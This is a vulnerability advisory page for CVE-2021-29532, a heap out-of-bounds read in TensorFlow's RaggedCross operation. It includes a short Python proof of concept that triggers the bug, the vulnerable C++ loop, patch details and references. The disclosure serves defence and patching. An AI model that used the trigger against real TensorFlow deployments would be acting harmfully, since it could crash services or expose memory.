Browse / AI Framework and Platform Flaws / CVE-2021-29532
Heap out of bounds read in `RaggedCross`
- Class
- AI Framework and Platform Flaws (filed by a model that read the source)
- Technique
- Memory corruption
- Affected
- tensorflow-cpu, tensorflow (PyPI)
- CVSS
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- EPSS
- 0.2% chance of exploitation in 30 days
How it works, in short
Invalid tensor shapes passed to RaggedCross skip argument validation, causing heap reads outside allocated buffers. (Our summary, written by a model. The source text is below.)
Details
Impact
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:
import tensorflow as tf
ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]
input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0
tf.raw_ops.RaggedCross(ragged_values=ragged_values,
ragged_row_splits=ragged_row_splits,
sparse_indices=sparse_indices,
sparse_values=sparse_values,
sparse_shape=sparse_shape,
dense_inputs=dense_inputs,
input_order=input_order,
hashed_output=hashed_output,
num_buckets=num_buckets,
hash_key=hash_key,
out_values_type=tf.int64,
out_row_splits_type=tf.int64)
This is because the implementation lacks validation for the user supplied arguments:
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
if (c == 'R') {
TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
features));
next_ragged++;
} else if (c == 'S') {
TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
batch_size, features));
next_sparse++;
} else if (c == 'D') {
TF_RETURN_IF_ERROR(
BuildDenseFeatureReader(dense_list[next_dense++], features));
}
...
}
Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.
Patches
We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8
- https://nvd.nist.gov/vuln/detail/CVE-2021-29532
- https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-460.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-658.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-169.yaml
- https://github.com/tensorflow/tensorflow
Source: GitHub Advisory Database, used under CC BY 4.0.